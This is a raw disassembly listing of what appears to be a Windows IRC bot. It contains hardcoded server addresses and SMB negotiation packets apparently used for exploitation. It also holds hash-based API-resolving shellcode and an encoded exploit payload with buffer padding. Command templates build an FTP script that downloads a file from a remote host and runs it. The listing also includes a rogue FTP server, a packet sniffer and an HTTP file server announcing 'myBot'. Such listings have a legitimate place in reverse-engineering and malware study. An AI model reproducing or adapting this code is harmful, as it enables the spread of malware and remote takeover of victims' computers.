		dd 3631313Ah, 38353930h, 393332h, 3 dup(0)
		dd 7361273Ah, 63h, 4 dup(0)
		dd 7361603Ah, 63h, 4 dup(0)
		dd 3631313Ah, 37353930h, 353539h, 3 dup(0)
		dd 7474683Ah, 736F6470h, 4 dup(0)
		dd 6D64613Ah, 632E6E69h, 6D6Fh,	3 dup(0)
		dd 6261733Ah, 7265h, 4 dup(0)
		dd 2E33363Ah, 2E333731h, 2E323731h, 3839h, 2 dup(0)
		dd 2E39363Ah, 322E3035h, 332E3930h, 31h, 2 dup(0)
		dd 2E39363Ah, 322E3035h, 332E3830h, 3 dup(0)
a203_186_79_248	db ':203.186.79.248',0
		dd 2 dup(0)
		dd 7063743Ah, 6B636120h, 4 dup(0)
		dd 6F72403Ah, 6D6Fh, 4 dup(0)
		dd 6173233Ah, 23h, 4 dup(0)
		dd 736B233Ah, 2361h, 4 dup(0)
		dd 7375233Ah, 62h, 4 dup(0)
		dd 706F743Ah, 6369h, 4 dup(0)
		dd 6F2B3Ah, 5 dup(0)
		dd 712B3Ah, 5 dup(0)
		dd 7274403Ah, 62h, 4 dup(0)
		dd 6272743Ah, 40h, 4 dup(0)
		dd 3134333Ah, 35383937h, 363130h, 3 dup(0)
		dd 3630313Ah, 36343338h, 363634h, 3 dup(0)
		dd 7075243Ah, 65746164h, 4 dup(0)
		dd 2E37363Ah, 332E3931h, 30322E39h, 30h, 2 dup(0)
		dd 2E34373Ah, 352E3435h, 2E38h,	3 dup(0)
		dd 776F643Ah, 6C6Eh, 4 dup(0)
		dd 4F47233Ah, 23444Fh, 4 dup(0)
		dd 6F642E3Ah, 646E77h, 4 dup(0)
		dd 6F642C3Ah, 646E77h, 4 dup(0)
		dd 6F64213Ah, 646E77h, 4 dup(0)
		dd 4353233Ah, 23504Fh, 4 dup(0)
		dd 6F64243Ah, 646E77h, 4 dup(0)
		dd 6F642E3Ah, 6E77h, 4 dup(0)
		dd 6F642C3Ah, 6E77h, 4 dup(0)
		dd 6F64213Ah, 6E77h, 4 dup(0)
		dd 2372233Ah, 5	dup(0)
		dd 7261663Ah, 6E2E7365h, 7465h,	3 dup(0)
		dd 776F643Ah, 776F6C6Eh, 4 dup(0)
		dd 4F42413Ah, 374C4153h, 4 dup(0)
dword_420440	dd 544F42h	unk_420444	db    2			; DATA XREF: .nsp0:004027D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_42048C	db    2			; DATA XREF: .nsp0:00402787o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: .nsp0:00402711o
		align 10h
unk_4204E0	db    2			; DATA XREF: .nsp0:00402662o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_42052C	db    2			; DATA XREF: .nsp0:004025DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_420574	db    2			; DATA XREF: .nsp0:00402561o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402AB1+B2o
		align 4
dword_4205C8	dd 10FF8h, 0	dword_4205D0	dd 10FF8h	dword_4205D4	dd 7FFDF020h, 0	dword_4205DC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_420664	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_420694	dd 0				dd 800000D4h, 0
unk_4206A0	db  81h	; 		; DATA XREF: sub_402FB5+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_4206EC	db 41h			; DATA XREF: sub_403053+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420730	proc near		; DATA XREF: sub_4032B0+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_42082C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_420842
		mov	[esi+8], eax
		call	sub_4207F5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_420842
		mov	[esi+0Ch], eax
		call	sub_4207A7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_420842
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_420730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4207A7	proc near		; CODE XREF: sub_420730+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4207D0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4207A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4207D0	proc near		; CODE XREF: sub_4207A7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4207DF:				; CODE XREF: sub_4207D0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4207EC
		inc	ebx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207EC:				; CODE XREF: sub_4207D0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4207D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4207F5	proc near		; CODE XREF: sub_420730+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42080D:				; CODE XREF: sub_4207F5+1Ej
		cmp	[ecx], ebx
		jz	short loc_420815
		mov	ecx, [ecx]
		jmp	short loc_42080D
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207F5+1Aj
		mov	edx, edi


loc_420817:				; CODE XREF: sub_4207F5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_420821
		mov	edx, [edx+4]
		jmp	short loc_420817
; ---------------------------------------------------------------------------


loc_420821:				; CODE XREF: sub_4207F5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4207F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42082C	proc near		; CODE XREF: sub_420730+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_42082C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420842	proc near		; CODE XREF: sub_420730+16p
					; sub_420730+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_420858:				; CODE XREF: sub_420842+33j
		jecxz	short loc_420892
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_420865:				; CODE XREF: sub_420842+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_420871
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_420865
; ---------------------------------------------------------------------------


loc_420871:				; CODE XREF: sub_420842+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_420858
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_420892:				; CODE XREF: sub_420842:loc_420858j
					; sub_420842:loc_420892j
		jmp	short loc_420892
sub_420842	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_420898	proc near		; DATA XREF: sub_4032B0+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4208EA
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4208B5:				; CODE XREF: sub_420898+38j
		jecxz	short loc_4208E5
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4208C0:				; CODE XREF: sub_420898+32j
		lodsb
		test	al, al
		jz	short loc_4208CC
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4208C0
; ---------------------------------------------------------------------------


loc_4208CC:				; CODE XREF: sub_420898+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4208B5
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4208E5:				; CODE XREF: sub_420898:loc_4208B5j
		mov	[esp+arg_0], ebx
		retn
sub_420898	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EA	proc near		; CODE XREF: sub_420898+7p

; FUNCTION CHUNK AT 00420922 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_420903
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42090E
; ---------------------------------------------------------------------------


loc_420903:				; CODE XREF: sub_4208EA+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42090E:				; CODE XREF: sub_4208EA+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_420922
sub_4208EA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420915	proc near		; CODE XREF: sub_4208EA:loc_420922p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_420915	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4208EA


loc_420922:				; CODE XREF: sub_4208EA+29j
		call	sub_420915


loc_420927:				; DATA XREF: sub_402A56+1Bo
					; .nsp0:0040AAB9o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_4208EA
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_42092C	dd 60h		dword_420930	dd 62B0606h, 2050501h, 0A0hdword_42093C	dd 30h							; .nsp0:00425F8Co ...
dword_420940	dd 0A1h		dword_420944	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402AB1+153o
		align 10h


loc_420950:				; DATA XREF: sub_402AB1+E8o
		jmp	short near ptr dword_420958
; ---------------------------------------------------------------------------
		align 8
dword_420958	dd 0		dword_42095C	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_4032B0+55o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dword_4209D8	dd 200F1001h, 0Ah, 1001802h, 0		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_4038B1+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403A5B+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_403A5B+5B9o
					; .nsp0:0040A85Bo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403A5B+5ACo
		align 4
dword_421CA8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_403A5B+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403A5B+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403A5B+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403A5B+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403A5B+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403A5B+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403A5B+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403A5B+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403A5B+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403A5B+3FDo
		align 10h
aList		db 'LIST',0             ; DATA XREF: sub_403A5B+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403A5B+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_403A5B+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403A5B+38Co
aI:					; DATA XREF: sub_403A5B+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403A5B+351o
aA:					; DATA XREF: sub_403A5B+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403A5B+326o
					; sub_403A5B+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403A5B+316o
		align 4
off_421E64	dd offset dword_445750	; DATA XREF: sub_403A5B+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403A5B+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403A5B+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_403A5B+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_403A5B+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403A5B+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_403A5B+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403A5B+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_403A5B+271o
					; .nsp0:00425DA4o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_403A5B+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403A5B+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4040DB+24o
					; sub_405290+12Eo ...
		align 10h
unk_421F00	db    2			; DATA XREF: sub_404175+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_421F48	db 0Dh,0Ah,0		; DATA XREF: sub_404175+2CFo
		align 4
asc_421F4C:				; DATA XREF: sub_404175+293o
					; .nsp0:0040A3E1o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_404175+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4045D0+97o
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4045D0+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4045D0:loc_404635o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4045D0+5Eo
		align 4
unk_42216C	db    2			; DATA XREF: .nsp0:004049E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4221B8	db    2			; DATA XREF: .nsp0:0040495Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_4221FC:				; DATA XREF: .nsp0:004048A9o
					; .nsp0:004279D0o
		unicode	0, <*>,0
asc_422200:				; DATA XREF: .nsp0:0040484Do
					; sub_404A02+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: .nsp0:0040483Co
					; sub_404A02+4CAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: .nsp0:0040478Co
					; sub_4084F5+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: .nsp0:00404781o
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_404A02+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404A02+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_404A02+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404A02+589o
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404A02+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404F1Ao
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404A02+511o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404A02+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404A02+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404DC4o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404A02+3BBo
		align 4
